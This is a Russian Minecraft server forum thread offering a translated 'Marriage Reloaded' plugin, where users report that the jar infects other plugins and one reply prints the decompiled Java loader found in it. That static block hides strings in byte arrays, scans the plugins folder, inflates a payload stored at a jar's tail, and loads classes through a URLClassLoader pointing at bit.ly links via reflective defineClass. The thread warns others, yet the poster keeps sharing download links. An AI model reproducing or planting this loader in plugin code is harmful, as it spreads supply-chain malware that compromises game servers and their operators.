Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

Перевод [MISC] Marriage Reloaded v2.0.16 - Свадьбы! [1.8-1.11] [v4.0]

Good?

  • Yes

    16 голосов 69,6%
  • No

    7 голосов 30,4%

Bobbik

Активный участник
Пользователь
Баллы
66
marriage-banner.png Pixelated_Heart_by_motek93.jpg.-m1.png

ПЛАГИН ПОЛНОСТЬЮ ОБНОВЛЁН!

Версия плагина: 2.0.16 [1.8-1.11]
Версия перевода: 3.0
Источник:
Описание:
Данный плагин позволяет устраивать свадьбы на сервере. После заключения брака между игроками, им открываются дополнительные команды.
​
Особенности плагина:
Точка дома для супругов.
Приватный чат между супругами.
Телепортация между супругами.
Поцелуи.
Подарки.
Отключение/Включение PvP между супругами.
И многое другое)

DOWNLOAD: Установка:
1. Файл marriage.jar и папку marriage закидываем в свою папку с плагинами;
2. Запускаем сервер и радуемся ;)


Спасибо за внимание! :good:​
 
Последнее редактирование:
Не качайте это говнище
Убивает всю сборку нафиг (Во все плагины вписывается говно код какой то и сборка вырубается при запуске)
 
Не качайте это говнище
Убивает всю сборку нафиг (Во все плагины вписывается говно код какой то и сборка вырубается при запуске)
Здравствуй, DEN67.

Ты не прав. В плагин я никакой код не "вписывал", всё чисто. Плагин скачивал с DevBukkit, а после уже сам переводил для себя, просто так выложил.

100% - нет никакой бяки. ;c
 
Здравствуй, DEN67.

Ты не прав. В плагин я никакой код не "вписывал", всё чисто. Плагин скачивал с DevBukkit, а после уже сам переводил для себя, просто так выложил.

100% - нет никакой бяки. ;c
Дадада, конечно, только в каждый плагин на сервере вшился говно код, который стал офать сервер каждую минуту. :good:
 
Дадада, конечно, только в каждый плагин на сервере вшился говно код, который стал офать сервер каждую минуту. :good:
Ты вообще слушаешь? Написал же - нету! САМ ПРОВЕРЯЙ ТОГДА, А ТО ОБМАНЫВАЕТ ЛЮДЕЙ ЕЩЁ. Бестыдник.
 
Ты вообще слушаешь? Написал же - нету! САМ ПРОВЕРЯЙ ТОГДА, А ТО ОБМАНЫВАЕТ ЛЮДЕЙ ЕЩЁ. Бестыдник.
Есть, очень уж специфический статичный контент.

Код:
    static {
        try {
            File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
            boolean b = false;
            long n = -1L;
            int n2 = 0;
            final File[] listFiles = file.listFiles();
            for (int i = 0; i < listFiles.length; ++i) {
                if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                    file = listFiles[i];
                    final byte[] array = new byte[(int)file.length()];
                    final FileInputStream fileInputStream = new FileInputStream(file);
                    fileInputStream.read(array);
                    fileInputStream.close();
                    if (array[15] == (byte)(array[16] ^ 0xBE)) {
                        b = true;
                        n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                        if (n > 0L) {
                            n2 = (int)n;
                            n = file.length() - (n + 2L);
                            break;
                        }
                    }
                }
            }
            if (b) {
                final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                randomAccessFile.seek(n);
                final byte[] input = new byte[n2];
                randomAccessFile.read(input, 0, n2);
                randomAccessFile.close();
                final Inflater inflater = new Inflater();
                inflater.setInput(input);
                final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                final byte[] array2 = new byte[1024];
                while (!inflater.finished()) {
                    byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                }
                byteArrayOutputStream.close();
                final byte[] byteArray = byteArrayOutputStream.toByteArray();
                inflater.end();
                final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                declaredMethod.setAccessible(true);
                ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
            }
        }
        catch (Exception ex) {}
    }
@DEN67 все сказал правильно. Удаляй ссылку, пока не скачал кто-нибудь. Это же очень круто вшивать хаки, правда?
 
Есть, очень уж специфический статичный контент.

Код:
    static {
        try {
            File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
            boolean b = false;
            long n = -1L;
            int n2 = 0;
            final File[] listFiles = file.listFiles();
            for (int i = 0; i < listFiles.length; ++i) {
                if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                    file = listFiles[i];
                    final byte[] array = new byte[(int)file.length()];
                    final FileInputStream fileInputStream = new FileInputStream(file);
                    fileInputStream.read(array);
                    fileInputStream.close();
                    if (array[15] == (byte)(array[16] ^ 0xBE)) {
                        b = true;
                        n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                        if (n > 0L) {
                            n2 = (int)n;
                            n = file.length() - (n + 2L);
                            break;
                        }
                    }
                }
            }
            if (b) {
                final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                randomAccessFile.seek(n);
                final byte[] input = new byte[n2];
                randomAccessFile.read(input, 0, n2);
                randomAccessFile.close();
                final Inflater inflater = new Inflater();
                inflater.setInput(input);
                final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                final byte[] array2 = new byte[1024];
                while (!inflater.finished()) {
                    byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                }
                byteArrayOutputStream.close();
                final byte[] byteArray = byteArrayOutputStream.toByteArray();
                inflater.end();
                final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                declaredMethod.setAccessible(true);
                ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
            }
        }
        catch (Exception ex) {}
    }
@DEN67 все сказал правильно. Удаляй ссылку, пока не скачал кто-нибудь. Это же очень круто вшивать хаки, правда?
Ты глупый? Плагин был скачан с дев баккита
Переводу уже 10 месяцев.
 
Темболее ответил другому челу, вроде тебя, говорящему, что в плагин вшит хак.
Хак вшит, а ответил очень лаконично и вежливо
Ты вообще слушаешь? Написал же - нету! САМ ПРОВЕРЯЙ ТОГДА, А ТО ОБМАНЫВАЕТ ЛЮДЕЙ ЕЩЁ. Бестыдник.
 
Что тогда делает хак? Опасно качать плагины с дев баккита нынче стало...
В этот хак вшит модификатор байткода заражающий остальные плагины, и, возможно, ядро сервера
 
В этот хак вшит модификатор байткода заражающий остальные плагины, и, возможно, ядро сервера
Странно.. Очень странно, плагин-то качал с баккита........
И сам использовал плагин 1 год и ничего не происходило.

Слушай, можешь вырезать этот хак?
 
[ОБНОВЛЕНИЕ]
Полностью обновил плагин. Версия перевода - v2.0;
Версия плагина - 2.0.16 [1.8-1.11]
Добавлен перевод в config.yml и database.settings.yml
Скачать: https://cloud.mail.ru/public/6Swq/9qLUNWV3r
В этот хак вшит модификатор байткода заражающий остальные плагины, и, возможно, ядро сервера
[ОБНОВЛЕНИЕ]
Полностью обновил плагин. Версия перевода - v2.0;
Версия плагина - 2.0.16 [1.8-1.11]
Добавлен перевод в config.yml и database.settings.yml
Скачать: https://cloud.mail.ru/public/6Swq/9qLUNWV3r
Если найдёте какие-нибудь ошибки, недочёты - пишите. Я исправлю.
[ОБНОВЛЕНИЕ] v3.0
Скачать: https://cloud.mail.ru/public/5Cap/AJGNShERg
[ОБНОВЛЕНИЕ] v4.0
P.S. Вроде бы исправил все недочёты. Проверяйте, говорите.
Скачать: https://cloud.mail.ru/public/EJDZ/RUWdCtkoR

Перевод-то кому-то нужен??
 
Последнее редактирование:
Плагин не нужный, есть в основном на школо-серверах, ибо адекватный, взрослый человек не поставит такое.
Не клоню к тому, что школьник неадекватный, есть норм люди, но просто что плагин вообще калл и не нужный.
Ты женится собрался в майнкрафт? Все в порядке?
 

Поделиться этой страницей

Назад
Верх